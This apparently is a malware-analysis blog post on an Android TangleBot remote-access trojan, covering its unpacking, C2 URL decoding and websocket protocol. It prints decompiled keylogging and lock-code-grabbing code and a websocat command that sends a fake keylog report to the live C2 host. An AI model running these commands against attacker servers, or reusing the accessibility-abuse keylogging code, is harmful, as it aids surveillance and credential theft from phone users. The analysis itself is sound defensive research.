We dig in a malicious sample of Android/TangleBot of May 2024. TangleBot is also reported as a BankBot, although it is more an Android RAT currently than a banking trojan. It is also known as Medusa, but I prefer not to use this name, as this confuses the Android malware with a Windows ransomware, or with the non-malicious and useful hacking tool Medusa.
sha256: d332880175d47393d322c67eb8539c06441f11309ef19c76b59041f11a95e80c
An excellent analysis of TangleBot is available here. I invite you to read it to understand the history of TangleBot, how much the new versions have changed, who they target and what they do.
In this blog post, I will focus on something different: how to analyze the sample, and how it is implemented.
Badly formatted ZIP
The APK has been intentionally zipped with directory names of important Android files.
Unzip complains because it already has a classes.dex
file, but not a classes.dex
directory.
checkdir error: ./classes.dex exists but is not directory
unable to process classes.dex/raw/zebra_fragment.glsl.
This confuses some tools such as JADX because they are too strict on ZIP errors.
Packing
The sample is packed using the so-called JsonPacker which is very common. Both Kavanoz and my personal Json Unpacker can handle it. APKiD should also detect it, but doesn’t in this particular case, probably because the Yara signature for the Json packer has changed a little (TO DO: report a bug, and better, fix it).
$ python3 jsondecrypt.py --input Dajs.json --key dZwUsPG
$ unzip -l unpacked.zip
Archive: unpacked.zip
Length Date Time Name
--------- ---------- ----- ----
1535648 2024-03-09 18:33 classes.dex
--------- -------
1535648 1 file
The unpacked DEX has SHA256 1a3685eae23753d392d6384ed99799640c5e91bca80554208f96d53387773d46
.
Accessibility Service, again
Most of the maliciousness of the implementation relies on using the Accessibility API. If you don’t know the importance of the Accessibility Service, please follow my talk at Insomni’hack 2024.
Shared preferences
The malware maintains a settings file named com.uhrktbnfgijrtlpsvpm.ckchjcelbojwnlvvfsw.xml
. All keys have obfuscated names.
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<boolean name="b24z1bcurlu5aq9b6o910g4kv5jvz5srp" value="true" />
<boolean name="1lf7as4w8hd5zaks0mpc" value="false" />
<boolean name="0oqwd397vpiuqm1nx8o21qmuqa3tavtyv" value="true" />
<int name="l9ez1fs8k423430welz044gra46bm0w" value="1920" />
<boolean name="d2hcny3iq3a8k1re" value="true" />
<int name="8auxav2i31zdo4eo" value="1080" />
<boolean name="57fvxkkp9fh22l8bggwngmol52" value="false" />
<string name="b6zjrb2yiwrrgguyxvm7t02g3hw">6690f48ec591812549160549</string>
<boolean name="igi67lmk08olwncd" value="true" />
</map>
Fortunately, we can map each obfuscated string with its variable name in the disassembled code. For example, the string b6zjrb2yiwrrgguyxvm7t02g3hw
corresponds to USER_SECRET
. This is an client identifier sent by the remote server.
C2 URL
As explained here, the URL of the remote C2 is read from Telegram, ICQ and Twitter accounts, a prefix and a suffix needs to be removed and then you get Base64 to decode.
In reality, there’s one more processing to do because the malware has modified the alphabet and switched the first half of the alphabet with the second half.
In the sample we analyze, there is (1) a Telegram link, (2) an ICQ link and (3) yet another Telegram link is truncated (see the image before this one). ICQ is being shut down, so probably that won’t be useful any longer.
import base64
msg = 'unbabvsg12pTIgpTWyLzIvMJuurzylLJ4hqT9junbabvsg12'
parts = msg.split('unbabvsg12')
extracted = ''
for c in parts[1]:
if (ord(c) >= 97 and ord(c) <= 109) or (ord(c) >= 65 and ord(c) <= 77):
extracted = extracted + chr(ord(c)+13)
elif (ord(c) >= 110 and ord(c) <= 0x7a) or (ord(c) >= 78 and ord(c) <= 90):
extracted = extracted + chr(ord(c)-13)
else:
extracted = extracted + c
print(base64.b64decode(extracted))
Medusa tool against TangleBot
Actually, you can decode that with Medusa’s base64 interceptor.
The Medusa tool of ch0pin should not be confused with the Android Medusa botnet (named used by Cleafy), which is why I refer to this malware as TangleBot.
The malware discusses with its C2 using websockets. This is (partly) handled by sockets/socket_monitor_2
. If you happen to try socket_monitor
(number 1), you’ll get an error.
When we “compile” the modules and run Medusa, we get interesting output. In pink, we witness the malware showing a fixed HTML page, qugivspi.html
, which is actually the one which asks the end-user to enable Accessibility (see image in Accessibility Service paragraph).
In yellow, the malware contacts the Telegram account to retrieve the C2 URL. Pity, the URL is not complete, it’s https[:]//t.me/unkppapeppappe.
The green part shows the decoded Base64.
The blue part shows the access to the C2 URL, using a socket.
Want to talk with the C2 Web Socket?
The malware communicates with the C2 using a web socket. Web sockets have a couple of advantages over HTTP or REST: both ends can initiate a communication, both ends can send data simultaneously, the communication can be kept open for a long time, TLS is support… and it remains relatively simple.
If you want to talk to the C2, you can use for instance websocat. In the dummy keylog report I sent them, they replied {‘c’: ‘ini’}
.
echo '{ "c" : "klog", "cont" : { "pac": "com.android.quicksearchbox", "da" : "07/12/2024 10:15:00 UTC+4", "et" : "text" , "k" : "grrr"}, "sec" : "deadbeef" }' | websocat wss://pempbebebehaziran.top/sk
{'c': 'ini'}
Where are the bot commands handled?
Grabbing the [un]lock code
For example, if the command keylog
is sent, this sets the shared preference KEYLOG
, whose obfuscated value is b24z1bcurlu5aq9b6o910g4kv5jvz5srp
.
// l3.a.t()
case "keylog": {
v = 4;
break;
}
case 4: {
String cid = jSONObject0.getString("c_id");
boolean z = jSONObject0.getBoolean("act");
SharedPrefManager.getInstance(context0).write("b24z1bcurlu5aq9b6o910g4kv5jvz5srp", z); // writing KEYLOG
this.I(cid);
return;
}
// AccessibilityControllerService.onAccessibilityEvent()
if(SharedPrefManager.getInstance(this.getApplicationContext()).read("b24z1bcurlu5aq9b6o910g4kv5jvz5srp", false)) { // key log
try {
s = "";
packagename = accessibilityEvent0.getPackageName() == null ? "" : accessibilityEvent0.getPackageName().toString();
date = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US).format(Calendar.getInstance().getTime());
this.c(this.getRootInActiveWindow()); // read pattern lock
// key log of other cases
switch(accessibilityEvent0.getEventType()) {
case 1:
case 8:
case 16: {
// SharedPrefManager
SharedPrefManager.KEYLOG = "b24z1bcurlu5aq9b6o910g4kv5jvz5srp";
This will trigger regular key logging, but also if the phone is locked, code to retrieve the password to unlock the phone.
Hope you had fun!
— Cryptax